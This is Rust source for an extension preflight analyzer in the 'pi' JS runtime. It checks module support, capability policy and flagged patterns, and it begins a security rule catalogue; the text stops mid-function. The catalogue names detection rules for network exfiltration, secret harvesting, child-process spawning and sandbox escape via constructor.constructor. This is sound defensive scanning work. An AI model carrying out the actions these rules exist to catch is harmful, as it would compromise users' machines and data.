Skip to main content

pi/
extension_preflight.rs

1// Extension compatibility preflight analyzer (bd-k5q5.3.11)
2//
3// Checks an extension's source before loading to predict whether it will
4// work in the Pi JS runtime. Combines:
5//   - Module import scanning against known shim support levels
6//   - Capability requirement detection vs current policy
7//   - Forbidden/flagged pattern detection
8//   - Actionable remediation suggestions
9//
10// Produces a structured `PreflightReport` with per-finding severity,
11// an overall verdict (Pass / Warn / Fail), and human-readable remediation.
12
13use std::collections::BTreeMap;
14use std::fmt::{self, Write};
15use std::path::Path;
16
17use serde::{Deserialize, Serialize};
18
19use crate::extensions::{CompatibilityScanner, ExtensionPolicy, PolicyDecision};
20
21// ============================================================================
22// Module support level
23// ============================================================================
24
25/// How well the Pi JS runtime supports a given module.
26#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
27#[serde(rename_all = "snake_case")]
28pub enum ModuleSupport {
29    /// Fully implemented with real behaviour.
30    Real,
31    /// Partially implemented — some APIs are stubs or missing.
32    Partial,
33    /// Exists as a stub (loads without error but does nothing useful).
34    Stub,
35    /// Module resolves but throws on import (e.g. `node:net`).
36    ErrorThrow,
37    /// Module is completely missing — import will fail at load time.
38    Missing,
39}
40
41impl ModuleSupport {
42    /// Severity of this support level for preflight purposes.
43    #[must_use]
44    pub const fn severity(self) -> FindingSeverity {
45        match self {
46            Self::Real => FindingSeverity::Info,
47            Self::Partial | Self::Stub => FindingSeverity::Warning,
48            Self::ErrorThrow | Self::Missing => FindingSeverity::Error,
49        }
50    }
51
52    /// Human-readable label.
53    #[must_use]
54    pub const fn label(self) -> &'static str {
55        match self {
56            Self::Real => "fully supported",
57            Self::Partial => "partially supported",
58            Self::Stub => "stub only",
59            Self::ErrorThrow => "throws on import",
60            Self::Missing => "not available",
61        }
62    }
63}
64
65impl fmt::Display for ModuleSupport {
66    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
67        f.write_str(self.label())
68    }
69}
70
71// ============================================================================
72// Finding severity and categories
73// ============================================================================
74
75/// Severity level for a preflight finding.
76#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)]
77#[serde(rename_all = "snake_case")]
78pub enum FindingSeverity {
79    /// Informational — no action required.
80    Info,
81    /// Warning — may affect functionality but extension can still load.
82    Warning,
83    /// Error — likely to cause load or runtime failure.
84    Error,
85}
86
87impl fmt::Display for FindingSeverity {
88    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
89        match self {
90            Self::Info => f.write_str("info"),
91            Self::Warning => f.write_str("warning"),
92            Self::Error => f.write_str("error"),
93        }
94    }
95}
96
97/// Category of a preflight finding.
98#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
99#[serde(rename_all = "snake_case")]
100pub enum FindingCategory {
101    /// Module import compatibility.
102    ModuleCompat,
103    /// Capability policy decision.
104    CapabilityPolicy,
105    /// Forbidden pattern detected.
106    ForbiddenPattern,
107    /// Flagged pattern detected.
108    FlaggedPattern,
109}
110
111impl fmt::Display for FindingCategory {
112    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
113        match self {
114            Self::ModuleCompat => f.write_str("module_compat"),
115            Self::CapabilityPolicy => f.write_str("capability_policy"),
116            Self::ForbiddenPattern => f.write_str("forbidden_pattern"),
117            Self::FlaggedPattern => f.write_str("flagged_pattern"),
118        }
119    }
120}
121
122// ============================================================================
123// Preflight finding
124// ============================================================================
125
126/// A single finding from preflight analysis.
127#[derive(Debug, Clone, Serialize, Deserialize)]
128pub struct PreflightFinding {
129    pub severity: FindingSeverity,
130    pub category: FindingCategory,
131    /// Short summary of the issue.
132    pub message: String,
133    /// Actionable remediation suggestion (if any).
134    #[serde(default, skip_serializing_if = "Option::is_none")]
135    pub remediation: Option<String>,
136    /// Optional file/line evidence.
137    #[serde(default, skip_serializing_if = "Option::is_none")]
138    pub file: Option<String>,
139    #[serde(default, skip_serializing_if = "Option::is_none")]
140    pub line: Option<usize>,
141}
142
143// ============================================================================
144// Preflight verdict
145// ============================================================================
146
147/// Overall verdict from preflight analysis.
148#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
149#[serde(rename_all = "snake_case")]
150pub enum PreflightVerdict {
151    /// Extension is expected to work without issues.
152    Pass,
153    /// Extension may work but some features could be degraded.
154    Warn,
155    /// Extension is likely to fail at load or runtime.
156    Fail,
157}
158
159impl fmt::Display for PreflightVerdict {
160    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
161        match self {
162            Self::Pass => f.write_str("PASS"),
163            Self::Warn => f.write_str("WARN"),
164            Self::Fail => f.write_str("FAIL"),
165        }
166    }
167}
168
169// ============================================================================
170// Preflight report
171// ============================================================================
172
173/// Complete preflight analysis report for an extension.
174#[derive(Debug, Clone, Serialize, Deserialize)]
175pub struct PreflightReport {
176    pub schema: String,
177    pub extension_id: String,
178    pub verdict: PreflightVerdict,
179    pub confidence: ConfidenceScore,
180    pub risk_banner: String,
181    pub findings: Vec<PreflightFinding>,
182    pub summary: PreflightSummary,
183}
184
185/// Compatibility confidence score (0..=100).
186///
187/// Computed from the severity distribution of findings:
188/// - Each error deducts 25 points (capped at 100)
189/// - Each warning deducts 10 points (capped at remaining score)
190/// - Score is clamped to [0, 100]
191#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
192pub struct ConfidenceScore(pub u8);
193
194impl ConfidenceScore {
195    /// Compute from error/warning counts.
196    #[must_use]
197    pub fn from_counts(errors: usize, warnings: usize) -> Self {
198        let penalty = errors.saturating_mul(25) + warnings.saturating_mul(10);
199        let score = 100_usize.saturating_sub(penalty);
200        Self(u8::try_from(score.min(100)).unwrap_or(0))
201    }
202
203    /// Score value 0..=100.
204    #[must_use]
205    pub const fn value(self) -> u8 {
206        self.0
207    }
208
209    /// Human-readable confidence label.
210    #[must_use]
211    pub const fn label(self) -> &'static str {
212        match self.0 {
213            90..=100 => "High",
214            60..=89 => "Medium",
215            30..=59 => "Low",
216            _ => "Very Low",
217        }
218    }
219}
220
221impl fmt::Display for ConfidenceScore {
222    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
223        write!(f, "{}% ({})", self.0, self.label())
224    }
225}
226
227/// Counts by severity.
228#[derive(Debug, Clone, Default, Serialize, Deserialize)]
229pub struct PreflightSummary {
230    pub errors: usize,
231    pub warnings: usize,
232    pub info: usize,
233}
234
235pub const PREFLIGHT_SCHEMA: &str = "pi.ext.preflight.v1";
236
237impl PreflightReport {
238    /// Create from findings.
239    #[must_use]
240    pub fn from_findings(extension_id: String, findings: Vec<PreflightFinding>) -> Self {
241        let mut summary = PreflightSummary::default();
242        for f in &findings {
243            match f.severity {
244                FindingSeverity::Error => summary.errors += 1,
245                FindingSeverity::Warning => summary.warnings += 1,
246                FindingSeverity::Info => summary.info += 1,
247            }
248        }
249
250        let verdict = if summary.errors > 0 {
251            PreflightVerdict::Fail
252        } else if summary.warnings > 0 {
253            PreflightVerdict::Warn
254        } else {
255            PreflightVerdict::Pass
256        };
257
258        let confidence = ConfidenceScore::from_counts(summary.errors, summary.warnings);
259        let risk_banner = risk_banner_text(verdict, confidence, &summary);
260
261        Self {
262            schema: PREFLIGHT_SCHEMA.to_string(),
263            extension_id,
264            verdict,
265            confidence,
266            risk_banner,
267            findings,
268            summary,
269        }
270    }
271
272    /// Render a human-readable markdown report.
273    #[must_use]
274    pub fn render_markdown(&self) -> String {
275        let mut out = String::new();
276        let _ = write!(
277            out,
278            "# Preflight Report: {}\n\n**Verdict**: {} | **Confidence**: {}\n\n",
279            self.extension_id, self.verdict, self.confidence
280        );
281        let _ = writeln!(out, "> {}\n", self.risk_banner);
282        let _ = write!(
283            out,
284            "| Errors | Warnings | Info |\n|--------|----------|------|\n| {} | {} | {} |\n\n",
285            self.summary.errors, self.summary.warnings, self.summary.info
286        );
287
288        if self.findings.is_empty() {
289            out.push_str("No issues found. Extension is expected to work.\n");
290            return out;
291        }
292
293        out.push_str("## Findings\n\n");
294        for (i, f) in self.findings.iter().enumerate() {
295            let icon = match f.severity {
296                FindingSeverity::Error => "x",
297                FindingSeverity::Warning => "!",
298                FindingSeverity::Info => "i",
299            };
300            let _ = writeln!(
301                out,
302                "{}. [{}] **{}**: {}",
303                i + 1,
304                icon,
305                f.category,
306                f.message
307            );
308            if let Some(loc) = &f.file {
309                if let Some(line) = f.line {
310                    let _ = writeln!(out, "   Location: {loc}:{line}");
311                } else {
312                    let _ = writeln!(out, "   Location: {loc}");
313                }
314            }
315            if let Some(rem) = &f.remediation {
316                let _ = writeln!(out, "   Remediation: {rem}");
317            }
318            out.push('\n');
319        }
320
321        out
322    }
323
324    /// Serialize to JSON.
325    ///
326    /// # Errors
327    ///
328    /// Returns an error if serialization fails.
329    pub fn to_json(&self) -> Result<String, serde_json::Error> {
330        serde_json::to_string_pretty(self)
331    }
332}
333
334// ============================================================================
335// Known module support registry
336// ============================================================================
337
338/// Returns the known support level for a module specifier, or `None` if the
339/// module is not in our registry (likely a relative import or external npm).
340#[must_use]
341#[allow(clippy::match_same_arms)]
342pub fn known_module_support(specifier: &str) -> Option<ModuleSupport> {
343    let normalized = specifier.strip_prefix("node:").unwrap_or(specifier);
344
345    // Match on the root module name (before any slash sub-path).
346    let module_root = normalized.split('/').next().unwrap_or(normalized);
347
348    match module_root {
349        // P0 — fully implemented
350        "path" | "os" => Some(ModuleSupport::Real),
351        "fs" => {
352            // node:fs is real, node:fs/promises is partial
353            if normalized == "fs/promises" {
354                Some(ModuleSupport::Partial)
355            } else {
356                Some(ModuleSupport::Real)
357            }
358        }
359        "child_process" => Some(ModuleSupport::Real),
360
361        // P1 — real
362        "url" | "util" | "events" | "stream" | "buffer" | "querystring" | "string_decoder"
363        | "timers" => Some(ModuleSupport::Real),
364
365        // P1 — partial
366        "crypto" => Some(ModuleSupport::Partial),
367        "readline" => {
368            if normalized == "readline/promises" {
369                Some(ModuleSupport::Missing)
370            } else {
371                Some(ModuleSupport::Partial)
372            }
373        }
374        "http" | "https" => Some(ModuleSupport::Partial),
375
376        // P2 — stubs
377        "zlib"
378        | "tty"
379        | "assert"
380        | "vm"
381        | "v8"
382        | "perf_hooks"
383        | "worker_threads"
384        | "diagnostics_channel"
385        | "async_hooks" => Some(ModuleSupport::Stub),
386
387        // P3 — error throw
388        "net" | "dgram" | "dns" | "tls" | "cluster" => Some(ModuleSupport::ErrorThrow),
389
390        // Known npm packages with real shims
391        "@sinclair/typebox" | "zod" => Some(ModuleSupport::Real),
392
393        // Known npm packages with stubs
394        "chokidar" | "jsdom" | "turndown" | "beautiful-mermaid" | "node-pty" | "ws" | "axios" => {
395            Some(ModuleSupport::Stub)
396        }
397
398        // @modelcontextprotocol
399        "@modelcontextprotocol" => Some(ModuleSupport::Stub),
400
401        // @mariozechner packages
402        "@mariozechner" => Some(ModuleSupport::Partial),
403
404        // @opentelemetry
405        "@opentelemetry" => Some(ModuleSupport::Stub),
406
407        _ => None,
408    }
409}
410
411/// Remediation suggestion for a module at a given support level.
412#[must_use]
413pub fn module_remediation(specifier: &str, support: ModuleSupport) -> Option<String> {
414    let normalized = specifier.strip_prefix("node:").unwrap_or(specifier);
415    let module_root = normalized.split('/').next().unwrap_or(normalized);
416
417    match (module_root, support) {
418        (_, ModuleSupport::Real) => None,
419        ("fs", ModuleSupport::Partial) => Some(
420            "fs/promises has partial coverage. Use synchronous fs APIs (existsSync, readFileSync, writeFileSync) for best compatibility.".to_string()
421        ),
422        ("crypto", ModuleSupport::Partial) => Some(
423            "Only createHash, randomBytes, and randomUUID are available. For other crypto ops, consider using the Web Crypto API.".to_string()
424        ),
425        ("readline", ModuleSupport::Partial) => Some(
426            "Basic readline is available but readline/promises is not. Use callback-based readline API.".to_string()
427        ),
428        ("http" | "https", ModuleSupport::Partial) => Some(
429            "HTTP client functionality is available via fetch(). HTTP server functionality is not supported.".to_string()
430        ),
431        ("net", ModuleSupport::ErrorThrow) => Some(
432            "Raw TCP sockets are not available. Use fetch() for HTTP or the pi.http hostcall for network requests.".to_string()
433        ),
434        ("tls", ModuleSupport::ErrorThrow) => Some(
435            "TLS sockets are not available. Use fetch() with HTTPS URLs instead.".to_string()
436        ),
437        ("dns", ModuleSupport::ErrorThrow) => Some(
438            "DNS resolution is not available. Use fetch() which handles DNS internally.".to_string()
439        ),
440        ("dgram" | "cluster", ModuleSupport::ErrorThrow) => Some(
441            format!("The `{module_root}` module is not supported in the extension runtime.")
442        ),
443        ("chokidar", _) => Some(
444            "File watching is not supported. Consider polling with fs.existsSync or using event hooks instead.".to_string()
445        ),
446        ("jsdom", _) => Some(
447            "DOM parsing is not available. Consider extracting text content without DOM manipulation.".to_string()
448        ),
449        ("ws", _) => Some(
450            "WebSocket support is not available. Use fetch() for HTTP-based communication.".to_string()
451        ),
452        ("node-pty", _) => Some(
453            "PTY support is not available. Use pi.exec() hostcall for command execution.".to_string()
454        ),
455        (_, ModuleSupport::Missing) => Some(
456            format!("Module `{normalized}` is not available. Check if there is an alternative API in the pi extension SDK.")
457        ),
458        (_, ModuleSupport::Stub) => Some(
459            format!("Module `{normalized}` is a stub — it loads without error but provides no real functionality.")
460        ),
461        _ => None,
462    }
463}
464
465// ============================================================================
466// Preflight analyzer
467// ============================================================================
468
469/// Analyzes an extension for compatibility before loading.
470pub struct PreflightAnalyzer<'a> {
471    policy: &'a ExtensionPolicy,
472    extension_id: Option<&'a str>,
473}
474
475impl<'a> PreflightAnalyzer<'a> {
476    /// Create a new preflight analyzer with the given policy context.
477    #[must_use]
478    pub const fn new(policy: &'a ExtensionPolicy, extension_id: Option<&'a str>) -> Self {
479        Self {
480            policy,
481            extension_id,
482        }
483    }
484
485    /// Run preflight analysis on an extension at the given path.
486    ///
487    /// The path can be a single file or a directory containing extension source.
488    pub fn analyze(&self, path: &Path) -> PreflightReport {
489        let ext_id = self.extension_id.unwrap_or("unknown").to_string();
490
491        let scanner = CompatibilityScanner::new(path.to_path_buf());
492        let ledger = scanner
493            .scan_path(path)
494            .unwrap_or_else(|_| crate::extensions::CompatLedger::empty());
495
496        let mut findings = Vec::new();
497
498        // 1. Check module imports for compatibility
499        Self::check_module_findings(&ledger, &mut findings);
500
501        // 2. Check capability requirements against policy
502        self.check_capability_findings(&ledger, &mut findings);
503
504        // 3. Check forbidden patterns
505        Self::check_forbidden_findings(&ledger, &mut findings);
506
507        // 4. Check flagged patterns
508        Self::check_flagged_findings(&ledger, &mut findings);
509
510        // Sort: errors first, then warnings, then info
511        findings.sort_by_key(|finding| std::cmp::Reverse(finding.severity));
512
513        PreflightReport::from_findings(ext_id, findings)
514    }
515
516    /// Analyze from raw source text (for testing or when path isn't available).
517    #[must_use]
518    pub fn analyze_source(&self, extension_id: &str, source: &str) -> PreflightReport {
519        let mut findings = Vec::new();
520
521        // Extract import specifiers from source
522        let mut module_imports: BTreeMap<String, Vec<usize>> = BTreeMap::new();
523        for (idx, line) in source.lines().enumerate() {
524            let line_no = idx + 1;
525            for specifier in extract_import_specifiers_simple(line) {
526                module_imports.entry(specifier).or_default().push(line_no);
527            }
528        }
529
530        // Check each imported module
531        for (specifier, lines) in &module_imports {
532            if let Some(support) = known_module_support(specifier) {
533                let severity = support.severity();
534                if severity > FindingSeverity::Info {
535                    let remediation = module_remediation(specifier, support);
536                    findings.push(PreflightFinding {
537                        severity,
538                        category: FindingCategory::ModuleCompat,
539                        message: format!("Module `{specifier}` is {support}",),
540                        remediation,
541                        file: None,
542                        line: lines.first().copied(),
543                    });
544                }
545            }
546        }
547
548        // Check for capability patterns
549        let mut caps_seen: BTreeMap<String, usize> = BTreeMap::new();
550        for (idx, line) in source.lines().enumerate() {
551            let line_no = idx + 1;
552            if line.contains("process.env") && !caps_seen.contains_key("env") {
553                caps_seen.insert("env".to_string(), line_no);
554            }
555            if (line.contains("pi.exec") || line.contains("child_process"))
556                && !caps_seen.contains_key("exec")
557            {
558                caps_seen.insert("exec".to_string(), line_no);
559            }
560        }
561
562        for (cap, line_no) in &caps_seen {
563            let check = self.policy.evaluate_for(cap, self.extension_id);
564            match check.decision {
565                PolicyDecision::Deny => {
566                    findings.push(PreflightFinding {
567                        severity: FindingSeverity::Error,
568                        category: FindingCategory::CapabilityPolicy,
569                        message: format!(
570                            "Capability `{cap}` is denied by policy (reason: {})",
571                            check.reason
572                        ),
573                        remediation: Some(capability_remediation(cap)),
574                        file: None,
575                        line: Some(*line_no),
576                    });
577                }
578                PolicyDecision::Prompt => {
579                    findings.push(PreflightFinding {
580                        severity: FindingSeverity::Warning,
581                        category: FindingCategory::CapabilityPolicy,
582                        message: format!(
583                            "Capability `{cap}` will require user confirmation"
584                        ),
585                        remediation: Some(format!(
586                            "To allow without prompting, add `{cap}` to default_caps in your extension policy config."
587                        )),
588                        file: None,
589                        line: Some(*line_no),
590                    });
591                }
592                PolicyDecision::Allow => {}
593            }
594        }
595
596        // Sort: errors first, then warnings, then info
597        findings.sort_by_key(|finding| std::cmp::Reverse(finding.severity));
598
599        PreflightReport::from_findings(extension_id.to_string(), findings)
600    }
601
602    fn check_module_findings(
603        ledger: &crate::extensions::CompatLedger,
604        findings: &mut Vec<PreflightFinding>,
605    ) {
606        // Collect unique module specifiers from rewrites and flagged imports
607        let mut seen_modules: BTreeMap<String, Option<(String, usize)>> = BTreeMap::new();
608
609        // From rewrites — these are imports that have rewrite rules
610        for rw in &ledger.rewrites {
611            seen_modules
612                .entry(rw.from.clone())
613                .or_insert_with(|| rw.evidence.first().map(|e| (e.file.clone(), e.line)));
614        }
615
616        // From flagged unsupported imports
617        for fl in &ledger.flagged {
618            if fl.rule == "unsupported_import" {
619                // Extract the module specifier from the message
620                if let Some(spec) = extract_specifier_from_message(&fl.message) {
621                    seen_modules
622                        .entry(spec)
623                        .or_insert_with(|| fl.evidence.first().map(|e| (e.file.clone(), e.line)));
624                }
625            }
626        }
627
628        for (specifier, loc) in &seen_modules {
629            if let Some(support) = known_module_support(specifier) {
630                let severity = support.severity();
631                if severity > FindingSeverity::Info {
632                    let remediation = module_remediation(specifier, support);
633                    let (file, line) = loc
634                        .as_ref()
635                        .map_or((None, None), |(f, l)| (Some(f.clone()), Some(*l)));
636                    findings.push(PreflightFinding {
637                        severity,
638                        category: FindingCategory::ModuleCompat,
639                        message: format!("Module `{specifier}` is {support}"),
640                        remediation,
641                        file,
642                        line,
643                    });
644                }
645            }
646        }
647    }
648
649    fn check_capability_findings(
650        &self,
651        ledger: &crate::extensions::CompatLedger,
652        findings: &mut Vec<PreflightFinding>,
653    ) {
654        // Deduplicate by capability name
655        let mut seen: BTreeMap<String, (String, usize)> = BTreeMap::new();
656
657        for cap_ev in &ledger.capabilities {
658            if !seen.contains_key(&cap_ev.capability) {
659                let loc = cap_ev
660                    .evidence
661                    .first()
662                    .map(|e| (e.file.clone(), e.line))
663                    .unwrap_or_default();
664                seen.insert(cap_ev.capability.clone(), loc);
665            }
666        }
667
668        for (cap, (file, line)) in &seen {
669            let check = self.policy.evaluate_for(cap, self.extension_id);
670            match check.decision {
671                PolicyDecision::Deny => {
672                    findings.push(PreflightFinding {
673                        severity: FindingSeverity::Error,
674                        category: FindingCategory::CapabilityPolicy,
675                        message: format!(
676                            "Capability `{cap}` is denied by policy (reason: {})",
677                            check.reason
678                        ),
679                        remediation: Some(capability_remediation(cap)),
680                        file: Some(file.clone()),
681                        line: Some(*line),
682                    });
683                }
684                PolicyDecision::Prompt => {
685                    findings.push(PreflightFinding {
686                        severity: FindingSeverity::Warning,
687                        category: FindingCategory::CapabilityPolicy,
688                        message: format!(
689                            "Capability `{cap}` will require user confirmation"
690                        ),
691                        remediation: Some(format!(
692                            "To allow without prompting, add `{cap}` to default_caps in your extension policy config."
693                        )),
694                        file: Some(file.clone()),
695                        line: Some(*line),
696                    });
697                }
698                PolicyDecision::Allow => {}
699            }
700        }
701    }
702
703    fn check_forbidden_findings(
704        ledger: &crate::extensions::CompatLedger,
705        findings: &mut Vec<PreflightFinding>,
706    ) {
707        for fb in &ledger.forbidden {
708            let loc = fb.evidence.first();
709            findings.push(PreflightFinding {
710                severity: FindingSeverity::Error,
711                category: FindingCategory::ForbiddenPattern,
712                message: fb.message.clone(),
713                remediation: fb.remediation.clone(),
714                file: loc.map(|e| e.file.clone()),
715                line: loc.map(|e| e.line),
716            });
717        }
718    }
719
720    fn check_flagged_findings(
721        ledger: &crate::extensions::CompatLedger,
722        findings: &mut Vec<PreflightFinding>,
723    ) {
724        for fl in &ledger.flagged {
725            // Skip unsupported_import — handled in check_module_findings
726            if fl.rule == "unsupported_import" {
727                continue;
728            }
729            let loc = fl.evidence.first();
730            findings.push(PreflightFinding {
731                severity: FindingSeverity::Warning,
732                category: FindingCategory::FlaggedPattern,
733                message: fl.message.clone(),
734                remediation: fl.remediation.clone(),
735                file: loc.map(|e| e.file.clone()),
736                line: loc.map(|e| e.line),
737            });
738        }
739    }
740}
741
742// ============================================================================
743// Helpers
744// ============================================================================
745
746/// Generate a one-line risk banner for user-facing display.
747fn risk_banner_text(
748    verdict: PreflightVerdict,
749    confidence: ConfidenceScore,
750    summary: &PreflightSummary,
751) -> String {
752    match verdict {
753        PreflightVerdict::Pass => format!("Extension is compatible (confidence: {confidence})"),
754        PreflightVerdict::Warn => format!(
755            "Extension may have issues: {} warning(s) (confidence: {confidence})",
756            summary.warnings
757        ),
758        PreflightVerdict::Fail => format!(
759            "Extension is likely incompatible: {} error(s), {} warning(s) (confidence: {confidence})",
760            summary.errors, summary.warnings
761        ),
762    }
763}
764
765/// Extract module specifier from a compat scanner message like
766/// "import of unsupported builtin `node:vm`".
767fn extract_specifier_from_message(msg: &str) -> Option<String> {
768    let start = msg.find('`')?;
769    let end = msg[start + 1..].find('`')?;
770    Some(msg[start + 1..start + 1 + end].to_string())
771}
772
773/// Simple import specifier extraction for source analysis.
774/// Handles: import ... from "spec", require("spec"), import("spec").
775fn extract_import_specifiers_simple(line: &str) -> Vec<String> {
776    let mut specs = Vec::new();
777    let trimmed = line.trim();
778
779    // import ... from "spec" / import ... from 'spec' / import "spec"
780    if trimmed.starts_with("import ") || trimmed.starts_with("export ") {
781        if let Some(from_idx) = trimmed.find(" from ") {
782            let rest = &trimmed[from_idx + 6..];
783            if let Some(spec) = extract_quoted_string(rest) {
784                if !spec.starts_with('.') && !spec.starts_with('/') {
785                    specs.push(spec);
786                }
787            }
788        } else if let Some(rest) = trimmed.strip_prefix("import ") {
789            // Check for side-effect import: import "spec"
790            if let Some(spec) = extract_quoted_string(rest) {
791                if !spec.starts_with('.') && !spec.starts_with('/') {
792                    specs.push(spec);
793                }
794            }
795        }
796    }
797
798    // require("spec") / require('spec')
799    let mut search = trimmed;
800    while let Some(req_idx) = search.find("require(") {
801        let rest = &search[req_idx + 8..];
802        if let Some(spec) = extract_quoted_string(rest) {
803            if !spec.starts_with('.') && !spec.starts_with('/') {
804                specs.push(spec);
805            }
806        }
807        search = &search[req_idx + 8..];
808    }
809
810    specs
811}
812
813/// Extract a single or double quoted string from the start of text.
814fn extract_quoted_string(text: &str) -> Option<String> {
815    let trimmed = text.trim();
816    let (quote, rest) = if let Some(rest) = trimmed.strip_prefix('"') {
817        ('"', rest)
818    } else if let Some(rest) = trimmed.strip_prefix('\'') {
819        ('\'', rest)
820    } else {
821        return None;
822    };
823
824    rest.find(quote).map(|end| rest[..end].to_string())
825}
826
827/// Remediation text for a denied capability.
828fn capability_remediation(cap: &str) -> String {
829    match cap {
830        "exec" => "To enable shell command execution, use `--allow-dangerous` CLI flag or set `allow_dangerous: true` in config. This grants access to exec and env capabilities.".to_string(),
831        "env" => "To enable environment variable access, use `--allow-dangerous` CLI flag or set `allow_dangerous: true` in config. Alternatively, add a per-extension override: `per_extension.\"<ext-id>\".allow = [\"env\"]`.".to_string(),
832        _ => format!("Add `{cap}` to `default_caps` in your extension policy configuration."),
833    }
834}
835
836// ============================================================================
837// Security Risk Classification (bd-21vng, SEC-2.3)
838// ============================================================================
839
840/// Schema version for security scan reports. Bump minor on new rules, major on
841/// breaking structural changes.
842pub const SECURITY_SCAN_SCHEMA: &str = "pi.ext.security_scan.v1";
843
844/// Stable rule identifiers. Each variant is a versioned detection rule whose
845/// semantics are frozen once shipped. Add new variants; never rename or
846/// redefine existing ones.
847#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
848pub enum SecurityRuleId {
849    // ---- Critical tier ----
850    /// Dynamic code execution via `eval()`.
851    #[serde(rename = "SEC-EVAL-001")]
852    EvalUsage,
853    /// Dynamic code execution via `new Function(...)`.
854    #[serde(rename = "SEC-FUNC-001")]
855    NewFunctionUsage,
856    /// Native module loading via `process.binding()`.
857    #[serde(rename = "SEC-BIND-001")]
858    ProcessBinding,
859    /// Native addon loading via `process.dlopen()`.
860    #[serde(rename = "SEC-DLOPEN-001")]
861    ProcessDlopen,
862    /// Prototype pollution via `__proto__` assignment.
863    #[serde(rename = "SEC-PROTO-001")]
864    ProtoPollution,
865    /// `require.cache` manipulation for module hijacking.
866    #[serde(rename = "SEC-RCACHE-001")]
867    RequireCacheManip,
868
869    // ---- High tier ----
870    /// Hardcoded secret or API key pattern.
871    #[serde(rename = "SEC-SECRET-001")]
872    HardcodedSecret,
873    /// Dynamic `import()` expression (runtime code loading).
874    #[serde(rename = "SEC-DIMPORT-001")]
875    DynamicImport,
876    /// `Object.defineProperty` on global or prototype objects.
877    #[serde(rename = "SEC-DEFPROP-001")]
878    DefinePropertyAbuse,
879    /// Network exfiltration pattern (fetch/XMLHttpRequest to constructed URL).
880    #[serde(rename = "SEC-EXFIL-001")]
881    NetworkExfiltration,
882    /// Writes to sensitive filesystem paths.
883    #[serde(rename = "SEC-FSSENS-001")]
884    SensitivePathWrite,
885
886    // ---- Medium tier ----
887    /// `process.env` access for reading environment variables.
888    #[serde(rename = "SEC-ENV-001")]
889    ProcessEnvAccess,
890    /// Timer abuse (very short-interval `setInterval`).
891    #[serde(rename = "SEC-TIMER-001")]
892    TimerAbuse,
893    /// `Proxy` / `Reflect` interception patterns.
894    #[serde(rename = "SEC-PROXY-001")]
895    ProxyReflect,
896    /// `with` statement usage (scope chain manipulation).
897    #[serde(rename = "SEC-WITH-001")]
898    WithStatement,
899
900    // ---- Low tier ----
901    /// `debugger` statement left in source.
902    #[serde(rename = "SEC-DEBUG-001")]
903    DebuggerStatement,
904    /// `console` usage that may leak information.
905    #[serde(rename = "SEC-CONSOLE-001")]
906    ConsoleInfoLeak,
907
908    // ---- Added in rulebook v2.0.0 ----
909
910    // Critical tier:
911    /// Command execution via `child_process.exec/spawn/execFile/fork`.
912    #[serde(rename = "SEC-SPAWN-001")]
913    ChildProcessSpawn,
914    /// Sandbox escape via `constructor.constructor('return this')()`.
915    #[serde(rename = "SEC-CONSTRUCTOR-001")]
916    ConstructorEscape,
917    /// Native addon require via `.node`/`.so`/`.dylib` file extension.
918    #[serde(rename = "SEC-NATIVEMOD-001")]
919    NativeModuleRequire,
920
921    // High tier:
922    /// `globalThis`/`global` property mutation (sandbox escape vector).
923    #[serde(rename = "SEC-GLOBAL-001")]
924    GlobalMutation,
925    /// Symlink/hard-link creation for path traversal.
926    #[serde(rename = "SEC-SYMLINK-001")]
927    SymlinkCreation,
928    /// `fs.chmod`/`fs.chown` permission elevation.
929    #[serde(rename = "SEC-CHMOD-001")]
930    PermissionChange,
931    /// `net.createServer`/`dgram.createSocket` unauthorized listeners.
932    #[serde(rename = "SEC-SOCKET-001")]
933    SocketListener,
934    /// `WebAssembly.instantiate`/`compile` sandbox bypass.
935    #[serde(rename = "SEC-WASM-001")]
936    WebAssemblyUsage,
937
938    // Medium tier:
939    /// `arguments.callee.caller` stack introspection.
940    #[serde(rename = "SEC-ARGUMENTS-001")]
941    ArgumentsCallerAccess,
942}
943
944impl SecurityRuleId {
945    /// Short human-readable name for this rule.
946    #[must_use]
947    pub const fn name(self) -> &'static str {
948        match self {
949            Self::EvalUsage => "eval-usage",
950            Self::NewFunctionUsage => "new-function-usage",
951            Self::ProcessBinding => "process-binding",
952            Self::ProcessDlopen => "process-dlopen",
953            Self::ProtoPollution => "proto-pollution",
954            Self::RequireCacheManip => "require-cache-manipulation",
955            Self::HardcodedSecret => "hardcoded-secret",
956            Self::DynamicImport => "dynamic-import",
957            Self::DefinePropertyAbuse => "define-property-abuse",
958            Self::NetworkExfiltration => "network-exfiltration",
959            Self::SensitivePathWrite => "sensitive-path-write",
960            Self::ProcessEnvAccess => "process-env-access",
961            Self::TimerAbuse => "timer-abuse",
962            Self::ProxyReflect => "proxy-reflect",
963            Self::WithStatement => "with-statement",
964            Self::DebuggerStatement => "debugger-statement",
965            Self::ConsoleInfoLeak => "console-info-leak",
966            Self::ChildProcessSpawn => "child-process-spawn",
967            Self::ConstructorEscape => "constructor-escape",
968            Self::NativeModuleRequire => "native-module-require",
969            Self::GlobalMutation => "global-mutation",
970            Self::SymlinkCreation => "symlink-creation",
971            Self::PermissionChange => "permission-change",
972            Self::SocketListener => "socket-listener",
973            Self::WebAssemblyUsage => "webassembly-usage",
974            Self::ArgumentsCallerAccess => "arguments-caller-access",
975        }
976    }
977
978    /// Default risk tier for this rule.
979    #[must_use]
980    pub const fn default_tier(self) -> RiskTier {
981        if matches!(
982            self,
983            Self::EvalUsage
984                | Self::NewFunctionUsage
985                | Self::ProcessBinding
986                | Self::ProcessDlopen
987                | Self::ProtoPollution
988                | Self::RequireCacheManip
989                | Self::ChildProcessSpawn
990                | Self::ConstructorEscape
991                | Self::NativeModuleRequire
992        ) {
993            RiskTier::Critical
994        } else if matches!(
995            self,
996            Self::HardcodedSecret
997                | Self::DynamicImport
